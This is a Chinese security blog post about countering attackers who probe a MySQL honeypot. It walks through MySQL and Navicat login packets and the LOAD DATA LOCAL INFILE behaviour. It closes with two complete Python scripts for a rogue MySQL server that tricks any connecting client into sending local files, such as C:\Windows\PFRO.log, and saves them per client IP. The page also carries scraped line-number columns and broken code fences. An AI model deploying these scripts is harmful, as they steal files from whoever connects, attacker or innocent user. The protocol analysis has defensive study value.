s1eep123's blog.

Mysql蜜罐反制

Word count: 857Reading time: 4 min
2022/08/09

Mysql登录分析

  1. 命令行登录Mysql,并抓包,可以看到

  2. 首先对Mysql版本进行验证

    image-20220830101345553

  3. 接着Request login,传输用户名和密码hash

    image-20220830101455841

  4. 登录成功,返回OK

  5. 查询版本号并返回

    image-20220830101557032

  6. 当执行一条语句时,抓包如下,可以看到查询语句明文传输

    image-20220830101814721

    image-20220830101838335

  1. 登录流程和命令行登录差不多,多了几次Query

    image-20220830102246191

    image-20220830102317294

  2. 流程如下

    image-20220830110305792

Mysql特性

  1. Mysql 默认打开local_infile,如为打开可执行下列命令
    show global variables like'local_infile';
    set global local_infile=1;
    
    1
    2
    3
    4
    5
    6
    7

    2. MySQL服务端可以利用`LOAD DATA LOCAL`命令来读取`MYSQL`客户端的任意文件,然后伪造恶意服务器向连接到这个服务器的客户端发送读取文件的`payload`。

    3. 本地执行命令

    ```mysql
    load data local infile 'C:/Users/royal/Desktop/pass/passwd.txt' into table test.test1 fields terminated by '\n';
    ![image-20220830105153036](https://gitee.com/chuchuxingchen/blog-gallery/raw/master/img/image-20220830105153036.png)
  2. 可以看到成功读取数据并写入表中

命令分析

  1. 抓包

    image-20220830105755554

  2. 执行query查询,重点看下返回包

    image-20220830105956274

  3. 接着读取文件内容并写入

    image-20220830110114832

反制

  1. 反制流程也很明了了,就是socket编程模拟navicat登录,然后服务端(蜜罐)发送load local file payload即可

  2. 脚本如下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    # 模拟Mysql登录
    import socket

    serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    port = 3306
    serversocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    serversocket.bind(("", port))
    serversocket.listen(5)

    while True:
    # 建立客户端连接
    clientsocket,addr = serversocket.accept()

    print("连接地址: %s" % str(addr))
    # 返回版本信息
    version_text = b"\x4a\x00\x00\x00\x0a\x38\x2e\x30\x2e\x31\x32\x00\x08\x00\x00\x00\x2a\x51\x47\x38\x48\x17\x12\x21\x00\xff\xff\xc0\x02\x00\xff\xc3\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x7a\x6f\x6e\x25\x61\x3e\x48\x31\x25\x43\x2b\x61\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00"
    clientsocket.sendall(version_text)
    try:
    # 客户端请求信息
    clientsocket.recv(9999)
    except Exception as e:
    print(e)
    # Response OK
    verification = b"\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00"
    clientsocket.sendall(verification)
    try:
    # SET NAMES utf8mb4
    clientsocket.recv(9999)
    except Exception as e:
    print(e)
    # Response TABULAR
    evil_response = b"\x09\x00\x00\x01\xfb\x43\x3a\x2f\x31\x2e\x74\x78\x74"
    clientsocket.sendall(evil_response)
    # file_text
    print(clientsocket.recv(9999))
    clientsocket.close()
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    # 反制脚本 读取C:\\Windows\\PFRO.log文件
    # coding=utf-8
    import socket
    import os

    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    port = 3306
    server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    server.bind(("", port))
    server.listen(5)

    def get_data(filename, client, addr):
    base_path = os.path.abspath('.') + "/log/" + addr[0]
    if not os.path.exists(base_path):
    os.makedirs(base_path)

    evil_response = str.encode(chr(len(filename)+1)) + b"\x00\x00\x01\xfb" + str.encode(filename) # 恶意响应包
    client.sendall(evil_response)
    file_data = client.recv(999999)
    print(file_data)
    with open(base_path + "/" + filename.replace("/", "_").replace(":", ""), "wb+") as f:
    f.write(file_data)
    f.close()

    while True:
    # 建立客户端连接
    client, addr = server.accept()
    print("连接地址: %s" % str(addr))
    # 返回版本信息
    version_text = b"\x4a\x00\x00\x00\x0a\x38\x2e\x30\x2e\x31\x32\x00\x08\x00\x00\x00\x2a\x51\x47\x38\x48\x17\x12\x21\x00\xff\xff\xc0\x02\x00\xff\xc3\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x7a\x6f\x6e\x25\x61\x3e\x48\x31\x25\x43\x2b\x61\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00"
    client.sendall(version_text)
    try:
    # 客户端请求信息
    client.recv(9999)
    except Exception as e:
    print(e)
    # Response OK
    verification = b"\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00"
    client.sendall(verification)
    try:
    # SET NAMES utf8mb4
    client.recv(9999)
    except Exception as e:
    print(e)

    # Response TABULAR
    filename = "C:\\Windows\\PFRO.log"
    #这里为要读取的文件路径
    get_data(filename, client, addr)
    client.close()
CATALOG
  1. 1. Mysql登录分析
  2. 2. Navicat登录分析
  3. 3. Mysql特性
  4. 4. 命令分析
  5. 5. 反制